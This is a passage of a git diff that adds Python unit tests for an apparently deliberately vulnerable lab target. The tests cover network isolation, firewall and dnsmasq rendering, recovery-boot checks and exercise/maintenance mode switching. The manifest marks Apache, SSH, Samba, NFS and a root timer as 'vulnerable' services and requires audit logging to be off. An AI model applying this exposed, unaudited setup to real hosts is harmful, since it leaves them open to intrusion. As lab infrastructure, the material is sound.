+            self.assertEqual(process.exitcode, 0)
+            self.assertEqual(
+                json.loads(output.read_text(encoding="utf-8")),
+                list(specs[0][1]),
+            )
+
+    def test_delivery_failure_exits_nonzero_for_systemd_fail_close(self) -> None:
+        with tempfile.TemporaryDirectory(
+            prefix="open-world-file-watch-fail-"
+        ) as temporary:
+            root = Path(temporary)
+            specs, marker = self._fixture(root)
+            emitter, _output = self._emitter(root, succeeds=False)
+            process, messages = self._start(specs, marker, emitter)
+            specs[0][0].read_bytes()
+            kind, detail = messages.get(timeout=5)
+            self.assertEqual((kind, detail), ("error", "RuntimeError"))
+            process.join(timeout=5)
+            self.assertNotEqual(process.exitcode, 0)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/labs/open-world-target/platform/tests/test_platform.py b/labs/open-world-target/platform/tests/test_platform.py
new file mode 100644
index 0000000..5383da6
--- /dev/null
+++ b/labs/open-world-target/platform/tests/test_platform.py
@@ -0,0 +1,1555 @@
+from __future__ import annotations
+
+import json
+import os
+import sys
+import tempfile
+import unittest
+from pathlib import Path
+from types import SimpleNamespace
+from unittest import mock
+
+sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
+
+from open_world_platform.install import (  # noqa: E402
+    BUNDLE_ONLY_UNITS,
+    InstallRequest,
+    disable_raw_audit_units,
+    install_plan,
+    validate_install_request,
+    verify_units_absent,
+    verify_units_masked_inactive,
+)
+from open_world_platform.cli import _cmd_mode, build_parser  # noqa: E402
+from open_world_platform.inventory import (  # noqa: E402
+    _normalize_mount_source,
+    collect_live_inventory,
+)
+from open_world_platform.mode import (  # noqa: E402
+    enter_exercise,
+    exercise_plan,
+    maintenance_connectivity_plan,
+    set_maintenance_connectivity,
+)
+from open_world_platform.model import (  # noqa: E402
+    ContractError,
+    validate_manifest,
+    validate_profile,
+)
+from open_world_platform.preflight import (  # noqa: E402
+    evaluate_connectivity_clean_state,
+    evaluate_exercise,
+    evaluate_maintenance,
+)
+from open_world_platform.render import (  # noqa: E402
+    render_overlay,
+    tree_digest,
+)
+from open_world_platform.session import (  # noqa: E402
+    ENVIRONMENT_PARENT_MODE,
+    RUNTIME_PARENT_MODE,
+    fresh_marker_bytes,
+    prepare_fresh_session,
+    validate_fresh_marker_metadata,
+)
+from tests.helpers import (  # noqa: E402
+    PLATFORM_ROOT,
+    clone,
+    exercise_inventory,
+    maintenance_inventory,
+    manifest,
+    platform_identity,
+    profile,
+)
+
+
+class ContractTests(unittest.TestCase):
+    def test_manifest_and_complete_profile_validate(self) -> None:
+        validate_manifest(manifest())
+        validate_profile(profile())
+
+    def test_profile_placeholders_fail_closed(self) -> None:
+        incomplete = profile()
+        incomplete["target"]["diskSerial"] = "REPLACE_WITH_SERIAL"
+        with self.assertRaisesRegex(ContractError, "placeholder"):
+            validate_profile(incomplete)
+
+    def test_profile_requires_networkmanager_as_connectivity_owner(self) -> None:
+        for unsafe in (
+            "systemd-resolved.service",
+            "wpa_supplicant.service",
+        ):
+            with self.subTest(service=unsafe):
+                value = profile()
+                value["network"]["maintenanceConnectivityService"] = unsafe
+                with self.assertRaisesRegex(
+                    ContractError, "must be NetworkManager"
+                ):
+                    validate_profile(value)
+
+    def test_profile_requires_full_golden_btrfs_uuid(self) -> None:
+        value = profile()
+        value["recovery"]["goldenBtrfsStream"][
+            "filesystemUuid"
+        ] = "short-uuid"
+        with self.assertRaisesRegex(ContractError, "full UUID"):
+            validate_profile(value)
+
+    def test_btrfs_subvolume_mount_source_normalizes_to_partition(self) -> None:
+        self.assertEqual(
+            _normalize_mount_source("/dev/nvme0n1p3[/@]"),
+            "/dev/nvme0n1p3",
+        )
+        self.assertEqual(
+            _normalize_mount_source("/dev/mapper/root[/@nested]"),
+            "/dev/mapper/root",
+        )
+
+    def test_recovery_inventory_does_not_require_installed_debian_tools(
+        self,
+    ) -> None:
+        contract = manifest()
+        configured = profile()
+        target = configured["target"]
+        target_disk = {
+            "diskById": target["diskById"],
+            "resolvedDevice": "/dev/nvme0n1",
+            "diskSerial": target["diskSerial"],
+            "diskWwn": target["diskWwn"],
+            "diskSizeBytes": target["diskSizeBytes"],
+        }
+        partitions = {
+            "debian": {
+                "partuuid": target["debianPartuuid"],
+                "device": "/dev/nvme0n1p3",
+                "mountpoints": [None],
+            },
+            "esp": {
+                "partuuid": target["espPartuuid"],
+                "device": "/dev/nvme0n1p1",
+                "mountpoints": [None],
+            },
+            "windows": {
+                "partuuid": target["windowsPartuuid"],
+                "device": "/dev/nvme0n1p2",
+                "mountpoints": [None],
+            },
+        }
+        recovery_identity = {
+            "osId": "ubuntu",
+            "osVersionId": "26.04",
+            "dpkgArchitecture": None,
+            "kernelMachine": "x86_64",
+        }
+        with tempfile.TemporaryDirectory() as temp:
+            recovery_mount = Path(temp).resolve()
+            root_mount = {
+                "source": "/dev/sdz2",
+                "target": "/",
+                "fstype": "ext4",
+                "uuid": "55555555-5555-5555-5555-555555555555",
+            }
+            media_mount = {
+                "source": "/dev/sdz1",
+                "target": str(recovery_mount),
+                "fstype": "vfat",
+                "uuid": configured["recovery"]["mediaUuid"],
+            }
+            root_evidence = {
+                "sourceDevice": "/dev/sdz2",
+                "parentDevice": "/dev/sdz",
+                "removable": True,
+                "transport": "usb",
+                "filesystemUuid": root_mount["uuid"],
+                "backingDevices": ["/dev/sdz2", "/dev/sdz"],
+                "physicalDisks": ["/dev/sdz"],
+            }
+            media_evidence = {
+                "sourceDevice": "/dev/sdz1",
+                "parentDevice": "/dev/sdz",
+                "removable": True,
+                "transport": "usb",
+                "filesystemUuid": configured["recovery"]["mediaUuid"],
+                "backingDevices": ["/dev/sdz1", "/dev/sdz"],
+                "physicalDisks": ["/dev/sdz"],
+            }
+            with (
+                mock.patch(
+                    "open_world_platform.inventory.platform.system",
+                    return_value="Linux",
+                ),
+                mock.patch(
+                    "open_world_platform.inventory._collect_disk",
+                    return_value=(target_disk, partitions),
+                ),
+                mock.patch(
+                    "open_world_platform.inventory._find_mount",
+                    side_effect=[root_mount, media_mount],
+                ),
+                mock.patch(
+                    "open_world_platform.inventory._block_source_evidence",
+                    side_effect=[root_evidence, media_evidence],
+                ),
+                mock.patch(
+                    "open_world_platform.inventory._read_kernel_cmdline",
+                    return_value=["examserver-open-world-recovery=1"],
+                ),
+                mock.patch(
+                    "open_world_platform.inventory.platform."
+                    "freedesktop_os_release",
+                    return_value={
+                        "ID": recovery_identity["osId"],
+                        "VERSION_ID": recovery_identity["osVersionId"],
+                    },
+                ),
+                mock.patch(
+                    "open_world_platform.inventory.platform.machine",
+                    return_value=recovery_identity["kernelMachine"],
+                ),
+                mock.patch(
+                    "open_world_platform.inventory._run",
+                    side_effect=FileNotFoundError("dpkg is absent"),
+                ),
+                mock.patch(
+                    "open_world_platform.inventory._rfkill_state"
+                ) as rfkill,
+                mock.patch(
+                    "open_world_platform.inventory._collect_services"
+                ) as services,
+                mock.patch(
+                    "open_world_platform.inventory._collect_packages"
+                ) as packages,
+            ):
+                observed = collect_live_inventory(
+                    contract,
+                    configured,
+                    recovery_mount=recovery_mount,
+                )
+        self.assertEqual(observed["bootEnvironment"], "trusted-recovery-media")
+        self.assertEqual(observed["platformIdentity"], recovery_identity)
+        self.assertTrue(observed["bootEvidence"]["rootSourceRemovable"])
+        self.assertTrue(observed["bootEvidence"]["rootSharesRecoveryMedia"])
+        rfkill.assert_not_called()
+        services.assert_not_called()
+        packages.assert_not_called()
+
+    def test_recovery_inventory_rejects_unsafe_boot_roots(self) -> None:
+        contract = manifest()
+        configured = profile()
+        target = configured["target"]
+        target_disk = {
+            "diskById": target["diskById"],
+            "resolvedDevice": "/dev/nvme0n1",
+            "diskSerial": target["diskSerial"],
+            "diskWwn": target["diskWwn"],
+            "diskSizeBytes": target["diskSizeBytes"],
+        }
+        partitions = {
+            label: {
+                "partuuid": target[key],
+                "device": device,
+                "mountpoints": [None],
+            }
+            for label, key, device in (
+                ("debian", "debianPartuuid", "/dev/nvme0n1p3"),
+                ("esp", "espPartuuid", "/dev/nvme0n1p1"),
+                ("windows", "windowsPartuuid", "/dev/nvme0n1p2"),
+            )
+        }
+        media_evidence = {
+            "sourceDevice": "/dev/sdz1",
+            "parentDevice": "/dev/sdz",
+            "removable": True,
+            "transport": "usb",
+            "filesystemUuid": configured["recovery"]["mediaUuid"],
+            "backingDevices": ["/dev/sdz1", "/dev/sdz"],
+            "physicalDisks": ["/dev/sdz"],
+        }
+        cases = {
+            "overlay": (
+                {
+                    "source": "overlay",
+                    "target": "/",
+                    "fstype": "overlay",
+                    "uuid": None,
+                },
+                {
+                    "sourceDevice": "overlay",
+                    "removable": False,
+                    "transport": None,
+                    "filesystemUuid": None,
+                    "backingDevices": [],
+                    "physicalDisks": [],
+                },
+            ),
+            "unrelated internal disk": (
+                {
+                    "source": "/dev/sda2",
+                    "target": "/",
+                    "fstype": "ext4",
+                    "uuid": "66666666-6666-6666-6666-666666666666",
+                },
+                {
+                    "sourceDevice": "/dev/sda2",
+                    "parentDevice": "/dev/sda",
+                    "removable": False,
+                    "transport": "sata",
+                    "filesystemUuid": (
+                        "66666666-6666-6666-6666-666666666666"
+                    ),
+                    "backingDevices": ["/dev/sda2", "/dev/sda"],
+                    "physicalDisks": ["/dev/sda"],
+                },
+            ),
+            "unrelated removable USB": (
+                {
+                    "source": "/dev/sdy2",
+                    "target": "/",
+                    "fstype": "ext4",
+                    "uuid": "88888888-8888-8888-8888-888888888888",
+                },
+                {
+                    "sourceDevice": "/dev/sdy2",
+                    "parentDevice": "/dev/sdy",
+                    "removable": True,
+                    "transport": "usb",
+                    "filesystemUuid": (
+                        "88888888-8888-8888-8888-888888888888"
+                    ),
+                    "backingDevices": ["/dev/sdy2", "/dev/sdy"],
+                    "physicalDisks": ["/dev/sdy"],
+                },
+            ),
+            "target backed": (
+                {
+                    "source": "/dev/nvme0n1p3",
+                    "target": "/",
+                    "fstype": "btrfs",
+                    "uuid": "77777777-7777-7777-7777-777777777777",
+                },
+                {
+                    "sourceDevice": "/dev/nvme0n1p3",
+                    "parentDevice": "/dev/nvme0n1",
+                    "removable": True,
+                    "transport": "usb",
+                    "filesystemUuid": (
+                        "77777777-7777-7777-7777-777777777777"
+                    ),
+                    "backingDevices": [
+                        "/dev/nvme0n1p3",
+                        "/dev/nvme0n1",
+                    ],
+                    "physicalDisks": ["/dev/nvme0n1"],
+                },
+            ),
+        }
+        for label, (root_mount, root_evidence) in cases.items():
+            with self.subTest(label=label), tempfile.TemporaryDirectory() as temp:
+                recovery_mount = Path(temp).resolve()
+                media_mount = {
+                    "source": "/dev/sdz1",
+                    "target": str(recovery_mount),
+                    "fstype": "vfat",
+                    "uuid": configured["recovery"]["mediaUuid"],
+                }
+                with (
+                    mock.patch(
+                        "open_world_platform.inventory.platform.system",
+                        return_value="Linux",
+                    ),
+                    mock.patch(
+                        "open_world_platform.inventory._collect_disk",
+                        return_value=(target_disk, partitions),
+                    ),
+                    mock.patch(
+                        "open_world_platform.inventory._find_mount",
+                        side_effect=[root_mount, media_mount],
+                    ),
+                    mock.patch(
+                        "open_world_platform.inventory."
+                        "_block_source_evidence",
+                        side_effect=[root_evidence, media_evidence],
+                    ),
+                    mock.patch(
+                        "open_world_platform.inventory._read_kernel_cmdline",
+                        return_value=["examserver-open-world-recovery=1"],
+                    ),
+                    mock.patch(
+                        "open_world_platform.inventory."
+                        "_collect_platform_identity",
+                        return_value={
+                            "osId": "linux",
+                            "osVersionId": "1",
+                            "dpkgArchitecture": None,
+                            "kernelMachine": "x86_64",
+                        },
+                    ),
+                ):
+                    observed = collect_live_inventory(
+                        contract,
+                        configured,
+                        recovery_mount=recovery_mount,
+                    )
+            self.assertEqual(
+                observed["bootEnvironment"],
+                "untrusted-recovery-context",
+            )
+            self.assertFalse(
+                observed["bootEvidence"]["rootSharesRecoveryMedia"]
+            )
+
+    def test_service_names_are_cross_subsystem_contract(self) -> None:
+        contract = manifest()
+        self.assertEqual(
+            set(contract["services"]["vulnerable"]),
+            {
+                "apache2.service",
+                "ssh.service",
+                "smbd.service",
+                "nfs-server.service",
+                "open-world-root-timer.timer",
+            },
+        )
+        all_services = set().union(*contract["services"].values())
+        self.assertEqual(all_services, set(contract["serviceProviders"]))
+        self.assertNotIn("open-world-guide.service", all_services)
+        for service, provider in contract["serviceProviders"].items():
+            if provider["kind"] == "package":
+                self.assertIn(
+                    provider["name"],
+                    contract["packages"],
+                    f"{service} package provider must be installed",
+                )
+        dns_provider = contract["serviceProviders"]["dnsmasq.service"]
+        self.assertEqual(
+            dns_provider["config"], "/etc/dnsmasq.d/open-world-lab.conf"
+        )
+        self.assertTrue(
+            any(
+                entry["target"] == dns_provider["config"]
+                for entry in contract["installFiles"]
+            )
+        )
+
+
+class RenderTests(unittest.TestCase):
+    def test_overlay_render_is_deterministic_and_resolves_templates(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            base = Path(temp)
+            profile_path = base / "profile.json"
+            profile_path.write_text(json.dumps(profile()), encoding="utf-8")
+            first = base / "first"
+            second = base / "second"
+            render_overlay(PLATFORM_ROOT / "manifest.json", profile_path, first)
+            render_overlay(PLATFORM_ROOT / "manifest.json", profile_path, second)
+            self.assertEqual(tree_digest(first), tree_digest(second))
+            self.assertFalse(
+                (
+                    first
+                    / "etc/systemd/network/80-open-world-wired.network"
+                ).exists()
+            )
+            self.assertFalse(
+                any(
+                    entry["target"].startswith("/etc/systemd/network/")
+                    for entry in manifest()["installFiles"]
+                )
+            )
+            networkmanager = (
+                first
+                / "etc/NetworkManager/conf.d/"
+                "90-open-world-maintenance.conf"
+            ).read_text(encoding="utf-8")
+            self.assertIn(
+                "unmanaged-devices=interface-name:enp1s0",
+                networkmanager,
+            )
+            self.assertNotIn("{{", networkmanager)
+            firewall = (
+                first / "etc/nftables.d/open-world-exercise.nft"
+            ).read_text(encoding="utf-8")
+            self.assertIn(
+                "ip saddr 10.13.37.0/24 icmp type echo-request accept",
+                firewall,
+            )
+            self.assertIn(
+                "type filter hook output priority filter; policy drop;",
+                firewall,
+            )
+            packages = (
+                first / "usr/local/share/open-world-lab/packages.txt"
+            ).read_text(encoding="utf-8").splitlines()
+            self.assertEqual(packages, sorted(set(packages)))
+            dnsmasq = (
+                first / "etc/dnsmasq.d/open-world-lab.conf"
+            ).read_text(encoding="utf-8")
+            self.assertIn(
+                "dhcp-leasefile=/run/open-world-dnsmasq/dnsmasq.leases",
+                dnsmasq,
+            )
+            self.assertNotIn("dhcp-leasefile=/run/open-world-lab/", dnsmasq)
+            for directive in (
+                "interface=enp1s0",
+                "except-interface=lo",
+                "bind-interfaces",
+                "port=0",
+                "dhcp-option=3",
+                "dhcp-option=6",
+            ):
+                self.assertIn(directive, dnsmasq.splitlines())
+            self.assertFalse(
+                any(
+                    line.startswith(
+                        (
+                            "auth-server=",
+                            "auth-zone=",
+                            "host-record=",
+                            "local=",
+                            "listen-address=",
+                        )
+                    )
+                    for line in dnsmasq.splitlines()
+                )
+            )
+            self.assertFalse(
+                any(
+                    line.startswith("server=")
+                    or line.startswith("resolv-file=")
+                    for line in dnsmasq.splitlines()
+                )
+            )
+            dnsmasq_override = (
+                first
+                / "etc/systemd/system/dnsmasq.service.d/"
+                "90-open-world-target.conf"
+            ).read_text(encoding="utf-8")
+            self.assertIn("ExecStartPre=\n", dnsmasq_override)
+            self.assertIn("ExecStart=\n", dnsmasq_override)
+            self.assertIn("ExecStartPost=\n", dnsmasq_override)
+            self.assertIn("ExecStop=\n", dnsmasq_override)
+            self.assertIn(
+                "ExecStart=/usr/sbin/dnsmasq "
+                "--user=dnsmasq "
+                "--conf-file=/etc/dnsmasq.d/open-world-lab.conf "
+                "--pid-file=/run/dnsmasq/dnsmasq.pid",
+                dnsmasq_override,
+            )
+            self.assertNotIn("systemd-helper", dnsmasq_override)
+            self.assertIn("--user=dnsmasq", dnsmasq_override)
+            self.assertNotIn(53, manifest()["network"]["allowedTcpPorts"])
+            self.assertNotIn(53, manifest()["network"]["allowedUdpPorts"])
+            self.assertNotIn(8080, manifest()["network"]["allowedTcpPorts"])
+            self.assertIn(8787, manifest()["network"]["allowedTcpPorts"])
+            self.assertIn("tcp dport { 22, 80, 445, 2049, 8787 }", firewall)
+            self.assertNotIn("udp dport 53", firewall)
+            tmpfiles = (
+                first / "etc/tmpfiles.d/open-world-dnsmasq.conf"
+            ).read_text(encoding="utf-8")
+            self.assertIn(
+                "d /run/open-world-dnsmasq 0750 dnsmasq root -",
+                tmpfiles,
+            )
+            self.assertIn(
+                "f /run/open-world-dnsmasq/dnsmasq.leases 0640 dnsmasq root -",
+                tmpfiles,
+            )
+            self.assertNotIn(139, manifest()["network"]["allowedTcpPorts"])
+            windows_mount = (
+                first / "etc/systemd/system/mnt-windows.mount"
+            ).read_text(encoding="utf-8")
+            self.assertIn(
+                "What=/dev/disk/by-partuuid/"
+                + profile()["target"]["windowsPartuuid"],
+                windows_mount,
+            )
+            self.assertIn(
+                "Options=ro,nosuid,nodev,noexec,uid=0,gid=0,umask=077",
+                windows_mount,
+            )
+            self.assertIn(
+                "PartOf=open-world-vulnerable.target", windows_mount
+            )
+            self.assertNotIn("{{", windows_mount)
+
+    def test_render_refuses_nonempty_output(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            base = Path(temp)
+            profile_path = base / "profile.json"
+            profile_path.write_text(json.dumps(profile()), encoding="utf-8")
+            output = base / "output"
+            output.mkdir()
+            (output / "owned-by-operator.txt").write_text("keep", encoding="utf-8")
+            with self.assertRaisesRegex(ContractError, "must be empty"):
+                render_overlay(PLATFORM_ROOT / "manifest.json", profile_path, output)
+
+
+class PreflightTests(unittest.TestCase):
+    def setUp(self) -> None:
+        self.manifest = manifest()
+        self.profile = profile()
+
+    def test_exercise_ready_inventory_passes(self) -> None:
+        issues = evaluate_exercise(
+            self.manifest,
+            self.profile,
+            exercise_inventory(self.manifest),
+            require_services=True,
+        )
+        self.assertEqual(issues, [])
+
+    def test_each_external_path_fails_closed(self) -> None:
+        mutations = {
+            "default route": lambda value: value["network"][
+                "defaultRoutesV4"
+            ].append({"dst": "default", "gateway": "10.13.37.1"}),
+            "external DNS": lambda value: value["network"]["dnsServers"].append(
+                "1.1.1.1"
+            ),
+            "extra interface": lambda value: value["network"]["interfaces"][
+                2
+            ].update({"up": True, "carrier": True, "radioBlocked": False}),
+            "unexpected listener": lambda value: value["network"][
+                "listeners"
+            ].append({"protocol": "tcp", "address": "0.0.0.0", "port": 3306}),
+            "forwarding": lambda value: value["network"].update(
+                {"ipv4Forwarding": True}
+            ),
+            "connectivity service": lambda value: value["services"].update(
+                {"NetworkManager.service": "active"}
+            ),
+            "Bluetooth radio": lambda value: value["network"]["radio"].update(
+                {"bluetooth": False}
+            ),
+            "NFSv3 enabled": lambda value: value["nfs"].update(
+                {"v4Only": False}
+            ),
+            "rpcbind unmasked": lambda value: value["unitFiles"].update(
+                {"rpcbind.service": "disabled"}
+            ),
+            "rpcbind socket active": lambda value: (
+                value["services"].update({"rpcbind.socket": "active"}),
+                value["network"]["listeners"].append(
+                    {
+                        "protocol": "tcp",
+                        "address": "0.0.0.0",
+                        "port": 111,
+                    }
+                ),
+            ),
+            "rpc statd active": lambda value: (
+                value["services"].update({"rpc-statd.service": "active"}),
+                value["network"]["listeners"].append(
+                    {
+                        "protocol": "udp",
+                        "address": "0.0.0.0",
+                        "port": 48731,
+                    }
+                ),
+            ),
+            "mountd not explicitly denied": lambda value: value["network"][
+                "firewall"
+            ].update({"deniedInputTcpPorts": []}),
+            "nmbd active": lambda value: value["services"].update(
+                {"nmbd.service": "active"}
+            ),
+            "nmbd unmasked": lambda value: value["unitFiles"].update(
+                {"nmbd.service": "disabled"}
+            ),
+            "auditd active": lambda value: value["services"].update(
+                {"auditd.service": "active"}
+            ),
+            "journald audit socket unmasked": lambda value: value[
+                "unitFiles"
+            ].update({"systemd-journald-audit.socket": "enabled"}),
+            "systemd-networkd active": lambda value: value[
+                "services"
+            ].update({"systemd-networkd.service": "active"}),
+            "SMB NetBIOS listener": lambda value: value["network"][
+                "listeners"
+            ].append(
+                {"protocol": "tcp", "address": "0.0.0.0", "port": 139}
+            ),
+            "dnsmasq lease not writable": lambda value: value[
+                "dnsmasqLease"
+            ]["file"].update({"owner": "root"}),
+            "dnsmasq upstream configured": lambda value: value[
+                "dnsmasqPolicy"
+            ]["labDirectives"].append("server=1.1.1.1"),
+            "dnsmasq Debian helper restored": lambda value: value[
+                "dnsmasqPolicy"
+            ]["serviceOverrideDirectives"].append(
+                "ExecStart=/usr/share/dnsmasq/systemd-helper exec"
+            ),
+            "dnsmasq DHCP advertises target DNS": lambda value: value[
+                "dnsmasqPolicy"
+            ]["labDirectives"].append("dhcp-option=6,10.13.37.10"),
+            "DNS TCP listener enabled": lambda value: value["network"][
+                "listeners"
+            ].append(
+                {
+                    "protocol": "tcp",
+                    "address": "10.13.37.10",
+                    "port": 53,
+                }
+            ),
+            "Windows mounted read-write": lambda value: value[
+                "windowsMount"
+            ].update(
+                {
+                    "options": [
+                        "nodev",
+                        "noexec",
+                        "nosuid",
+                        "rw",
+                    ]
+                }
+            ),
+            "wrong Windows mount source": lambda value: value[
+                "windowsMount"
+            ].update({"sourceDevice": "/dev/sdz9"}),
+            "Windows mount unit inactive": lambda value: value[
+                "services"
+            ].update({"mnt-windows.mount": "inactive"}),
+        }
+        for label, mutate in mutations.items():
+            with self.subTest(label=label):
+                value = exercise_inventory(self.manifest)
+                mutate(value)
+                self.assertTrue(
+                    evaluate_exercise(
+                        self.manifest,
+                        self.profile,
+                        value,
+                        require_services=True,
+                    )
+                )
+
+    def test_maintenance_requires_every_lab_service_stopped(self) -> None:
+        good = maintenance_inventory(self.manifest)
+        self.assertEqual(
+            evaluate_maintenance(
+                self.manifest,
+                self.profile,
+                good,
+                connectivity_may_be_enabled=False,
+            ),
+            [],
+        )
+        bad = clone(good)
+        bad["services"]["smbd.service"] = "active"
+        issues = evaluate_maintenance(
+            self.manifest,
+            self.profile,
+            bad,
+            connectivity_may_be_enabled=False,
+        )
+        self.assertIn("service.exercise-active", {item.code for item in issues})
+        connectivity = clone(good)
+        connectivity["services"]["NetworkManager.service"] = "active"
+        issues = evaluate_maintenance(
+            self.manifest,
+            self.profile,
+            connectivity,
+            connectivity_may_be_enabled=False,
+        )
+        self.assertIn(
+            "service.connectivity-active", {item.code for item in issues}
+        )
+
+    def test_preflight_rejects_other_host_and_wrong_root_partition(self) -> None:
+        for label, mutate in {
+            "other Linux": lambda value: value.update(
+                {"bootEnvironment": "other-linux"}
+            ),
+            "trusted recovery": lambda value: value.update(
+                {"bootEnvironment": "trusted-recovery-media"}
+            ),
+            "wrong root": lambda value: value["rootFilesystem"].update(
+                {"sourceDevice": "/dev/sdz2"}
+            ),
+        }.items():
+            with self.subTest(label=label):
+                unsafe = maintenance_inventory(self.manifest)
+                mutate(unsafe)
+                issues = evaluate_maintenance(
+                    self.manifest,
+                    self.profile,
+                    unsafe,
+                    connectivity_may_be_enabled=False,
+                )
+                self.assertTrue(
+                    any(issue.code.startswith("host.") for issue in issues)
+                )
+
+    def test_preflight_requires_exact_debian_13_amd64_identity(self) -> None:
+        wrong_values = {
+            "osId": "ubuntu",
+            "osVersionId": "12",
+            "dpkgArchitecture": "arm64",
+            "kernelMachine": "aarch64",
+        }
+        for field, wrong in wrong_values.items():
+            with self.subTest(field=field):
+                unsafe = maintenance_inventory(self.manifest)
+                unsafe["platformIdentity"][field] = wrong
+                issues = evaluate_maintenance(
+                    self.manifest,
+                    self.profile,
+                    unsafe,
+                    connectivity_may_be_enabled=False,
+                )
+                self.assertIn(
+                    "host.platform-identity",
+                    {issue.code for issue in issues},
+                )
+
+    def test_connectivity_postflight_requires_networkmanager_active(self) -> None:
+        inactive = maintenance_inventory(self.manifest)
+        issues = evaluate_maintenance(
+            self.manifest,
+            self.profile,
+            inactive,
+            connectivity_may_be_enabled=True,
+        )
+        self.assertIn(
+            "service.connectivity-inactive",
+            {issue.code for issue in issues},
+        )
+        active = clone(inactive)
+        active["services"]["NetworkManager.service"] = "active"
+        active["network"]["networkManager"]["runtimeManaged"] = False
+        self.assertEqual(
+            evaluate_maintenance(
+                self.manifest,
+                self.profile,
+                active,
+                connectivity_may_be_enabled=True,
+            ),
+            [],
+        )
+
+
+class ModeTests(unittest.TestCase):
+    def setUp(self) -> None:
+        self.manifest = manifest()
+        self.profile = profile()
+
+    def test_dry_run_never_invokes_runner(self) -> None:
+        called = False
+
+        def forbidden_runner(*args, **kwargs):
+            nonlocal called
+            called = True
+            raise AssertionError("runner must not execute in dry-run")
+
+        result = enter_exercise(
+            self.manifest,
+            self.profile,
+            maintenance_inventory(self.manifest),
+            apply=False,
+            confirmation=None,
+            runner=forbidden_runner,
+        )
+        self.assertFalse(result["applied"])
+        self.assertFalse(called)
+        self.assertEqual(
+            result["sessionPlan"]["before"], "open-world-exercise.target"
+        )
+
+    def test_live_plan_parsers_do_not_assume_wrong_boot_environment(self) -> None:
+        parser = build_parser()
+        mode_args = parser.parse_args(
+            ["mode", "--profile", "profile.json", "--to", "exercise"]
+        )
+        self.assertIsNone(mode_args.boot_environment)
+        install_args = parser.parse_args(
+            [
+                "install",
+                "--profile",
+                "profile.json",
+                "--overlay",
+                "overlay",
+                "--overlay-sha256",
+                "0" * 64,
+                "--disk-by-id",
+                "/dev/disk/by-id/example",
+                "--debian-partuuid",
+                "debian-partuuid",
+                "--esp-partuuid",
+                "esp-partuuid",
+                "--windows-partuuid",
+                "windows-partuuid",
+                "--confirm",
+                "INSTALL PLATFORM /dev/disk/by-id/example",
+            ]
+        )
+        self.assertIsNone(install_args.boot_environment)
+
+    def test_exercise_plan_stops_services_before_firewall_and_start(self) -> None:
+        plan = exercise_plan(
+            self.manifest,
+            self.profile,
+            maintenance_inventory(self.manifest),
+        )
+        purposes = [item.purpose for item in plan]
+        stop_index = purposes.index(
+            "stop every lab-facing service during the transition"
+        )
+        firewall_index = purposes.index(
+            "install the subnet-only exercise firewall"
+        )
+        self.assertLess(stop_index, firewall_index)
+        stop_command = next(
+            item.args
+            for item in plan
+            if item.purpose
+            == "stop every lab-facing service during the transition"
+        )
+        self.assertIn("open-world-root-timer.service", stop_command)
+        self.assertNotIn(
+            ("systemctl", "start", "open-world-exercise.target"),
+            [item.args for item in plan],
+        )
+
+    def test_connectivity_cannot_enable_while_service_is_active(self) -> None:
+        unsafe = maintenance_inventory(self.manifest)
+        unsafe["services"]["apache2.service"] = "active"
+        with self.assertRaisesRegex(ContractError, "remains blocked"):
+            set_maintenance_connectivity(
+                self.manifest,
+                self.profile,
+                unsafe,
+                enabled=True,
+                apply=False,
+                confirmation=None,
+            )
+
+    def test_connectivity_requires_fresh_recovered_state(self) -> None:
+        for label, mutate in {
+            "fresh marker consumed": lambda value: value[
+                "trustedState"
+            ]["freshMarker"].update(
+                {
+                    "kind": "missing",
+                    "uid": None,
+                    "mode": None,
+                    "contentValid": False,
+                }
+            ),
+            "session residue": lambda value: value[
+                "trustedState"
+            ].update(
+                {
+                    "sessionArtifactsPresent": [
+                        "/etc/examserver-open-world/session.env"
+                    ]
+                }
+            ),
+        }.items():
+            with self.subTest(label=label):
+                unsafe = maintenance_inventory(self.manifest)
+                mutate(unsafe)
+                with self.assertRaisesRegex(
+                    ContractError, "recovery is required"
+                ):
+                    set_maintenance_connectivity(
+                        self.manifest,
+                        self.profile,
+                        unsafe,
+                        enabled=True,
+                        apply=False,
+                        confirmation=None,
+                    )
+
+    def test_connectivity_plan_starts_firewall_before_wifi(self) -> None:
+        plan = maintenance_connectivity_plan(
+            self.manifest, self.profile, enabled=True
+        )
+        self.assertEqual(
+            plan[0].args,
+            ("ip", "link", "set", "dev", "enp1s0", "down"),
+        )
+        self.assertEqual(
+            plan[1].args,
+            ("ip", "address", "flush", "dev", "enp1s0"),
+        )
+        self.assertEqual(
+            plan[2].args,
+            ("systemctl", "restart", "nftables.service"),
+        )
+        self.assertEqual(plan[4].args, ("rfkill", "unblock", "wifi"))
+
+    def test_connectivity_requires_direct_link_physical_separation(
+        self,
+    ) -> None:
+        mutations = {
+            "wired up": lambda value: value["network"]["interfaces"][
+                1
+            ].update({"up": True}),
+            "wired carrier": lambda value: value["network"]["interfaces"][
+                1
+            ].update({"carrier": True}),
+            "wired address": lambda value: value["network"]["interfaces"][
+                1
+            ].update({"addresses": ["10.13.37.10/24"]}),
+            "not explicitly unmanaged": lambda value: value["network"][
+                "networkManager"
+            ].update({"unmanagedConfigExact": False}),
+        }
+        for label, mutate in mutations.items():
+            with self.subTest(label=label):
+                unsafe = maintenance_inventory(self.manifest)
+                mutate(unsafe)
+                with self.assertRaisesRegex(
+                    ContractError, "remains blocked"
+                ):
+                    set_maintenance_connectivity(
+                        self.manifest,
+                        self.profile,
+                        unsafe,
+                        enabled=True,
+                        apply=False,
+                        confirmation=None,
+                    )
+
+        active_but_managed = maintenance_inventory(self.manifest)
+        active_but_managed["services"]["NetworkManager.service"] = "active"
+        active_but_managed["network"]["networkManager"][
+            "runtimeManaged"
+        ] = True
+        issues = evaluate_connectivity_clean_state(
+            self.profile,
+            active_but_managed,
+        )
+        self.assertIn(
+            "connectivity.wired-managed-runtime",
+            {issue.code for issue in issues},
+        )
+
+    def test_connectivity_apply_ignores_fake_inventory_and_uses_live(
+        self,
+    ) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            profile_path = root / "profile.json"
+            profile_path.write_text(
+                json.dumps(self.profile), encoding="utf-8"
+            )
+            fake_inventory = root / "fake-safe.json"
+            fake_inventory.write_text(
+                json.dumps(maintenance_inventory(self.manifest)),
+                encoding="utf-8",
+            )
+            unsafe_live = maintenance_inventory(self.manifest)
